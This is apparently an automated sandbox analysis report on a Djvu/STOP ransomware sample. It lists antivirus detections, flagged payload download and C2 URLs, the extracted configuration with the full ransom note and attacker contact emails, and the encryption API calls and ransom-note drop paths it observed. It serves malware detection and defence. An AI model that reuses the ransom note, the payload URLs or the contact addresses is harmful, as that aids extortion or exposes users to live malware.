Source: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4	Avira URL Cloud: Label: malware
Source: http://zexeq.com/files/1/build3.exe$rune4	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe	Avira URL Cloud: Label: malware
Source: http://brusuax.com/dl/build2.exe$run	Avira URL Cloud: Label: malware
Source: http://zexeq.com/test1/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4w	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe

Avira: detection malicious, Label: TR/AD.InstaBot.hlwtj

Found malware configuration

Source: 0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-99MNqXMrdS\r\nPrice of private key and decrypt software is $1999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $999.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0840ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\

Multi AV Scanner detection for domain / URL

Source: brusuax.com	Virustotal: Detection: 18%	Perma Link
Source: zexeq.com	Virustotal: Detection: 20%	Perma Link
Source: http://zexeq.com/test1/get.php	Virustotal: Detection: 19%	Perma Link
Source: https://49.12.114.15/F	Virustotal: Detection: 5%	Perma Link
Source: http://zexeq.com/test1/get.php/	Virustotal: Detection: 19%	Perma Link
Source: http://brusuax.com/dl/build2.exe	Virustotal: Detection: 25%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	ReversingLabs: Detection: 37%
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\build2[1].exe	ReversingLabs: Detection: 37%

Multi AV Scanner detection for submitted file

Source: g0Zq7nJjus.exe	ReversingLabs: Detection: 81%
Source: g0Zq7nJjus.exe	Virustotal: Detection: 77%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: g0Zq7nJjus.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040E870
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	2_2_0040EA51
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	2_2_0040EAA0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	2_2_0040EC68
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	2_2_00410FC0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 2_2_00411178 CryptDestroyHash,CryptReleaseContext,	2_2_00411178
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040E870
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	6_2_0040EAA0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	6_2_00410FC0
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_00411178 CryptDestroyHash,CryptReleaseContext,	6_2_00411178
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	6_2_0040EA51
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: 6_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	6_2_0040EC68

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419F90
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Code function: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7	6_2_00419E70
Source: g0Zq7nJjus.exe	Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\/sWjMd\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Unpacked PE file: 2.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	Unpacked PE file: 6.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 8.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	Unpacked PE file: 10.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 12.2.g0Zq7nJjus.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe	Unpacked PE file: 15.2.g0Zq7nJjus.exe.400000.0.unpack

Source: g0Zq7nJjus.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\g0Zq7nJjus.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.6:49739 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\3\\| source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2477033168.000000000324C000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: g0Zq7nJjus.exe, 00000006.00000003.2758894094.0000000003626000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759379469.0000000003631000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750301439.000000000362F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\soft. source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2802124972.0000000003A08000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.00000000039E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\2} source: g0Zq7nJjus.exe, 00000006.00000003.2857559337.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2857087539.000000000323F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\\k source: g0Zq7nJjus.exe, 00000006.00000003.2722394833.0000000003695000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723088840.0000000003698000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2856573707.0000000003801000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorror source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: g0Zq7nJjus.exe, 00000006.00000003.2759848167.0000000003951000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ee source: g0Zq7nJjus.exe, 00000006.00000003.2849201246.0000000003661000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s source: g0Zq7nJjus.exe, 00000006.00000003.2760312661.00000000036EE000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2759463917.00000000036EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\\} source: g0Zq7nJjus.exe, 00000006.00000003.2750489315.00000000037B0000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749918415.00000000037AD000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749108085.000000000376E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721477658.000000000376E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ta source: g0Zq7nJjus.exe, 00000006.00000003.2723839974.000000000324E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655954277.000000000323F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\s\$ source: g0Zq7nJjus.exe, 00000006.00000003.2849956848.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2850665951.00000000036F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\te\ source: g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749216955.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2724076990.0000000003272000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750221061.0000000003272000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb\` source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\j source: g0Zq7nJjus.exe, 00000006.00000003.2838758007.0000000003A46000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2834371691.0000000003A52000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e source: g0Zq7nJjus.exe, 00000006.00000003.2834806558.0000000003655000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2839161867.0000000003666000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2838401939.000000000364C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722455938.00000000036CB000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722200162.00000000036A1000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2721814195.0000000003689000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723410423.0000000003706000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723969148.0000000003716000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: g0Zq7nJjus.exe, 00000006.00000003.2759196325.000000000370D000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2750037773.000000000370A000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2749410376.0000000003709000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\AC\ source: g0Zq7nJjus.exe, 00000006.00000003.2655766976.000000000325B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722713316.0000000003250000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722923546.0000000003254000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2723755012.000000000325F000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2722071141.0000000003248000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2854088123.0000000003B1B000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2856392263.0000000003647000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FB source: g0Zq7nJjus.exe, 00000006.00000002.2869750139.00000000037ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843994397.0000000003B0E000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ory\a source: g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003689000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: g0Zq7nJjus.exe, 00000006.00000003.2722616265.0000000003625000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2655647252.0000000003618000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: g0Zq7nJjus.exe, 00000006.00000003.2843319155.0000000003AB2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\D source: g0Zq7nJjus.exe, 00000006.00000003.2849446842.0000000003A92000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003A92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\E5\ source: g0Zq7nJjus.exe, 00000006.00000003.2848619820.0000000003998000.00000004.00000020.00020000.00000000.sdmp, g0Zq7nJjus.exe, 00000006.00000003.2843788353.0000000003998000.00000004.00000020.00020000.00000000.sdmp
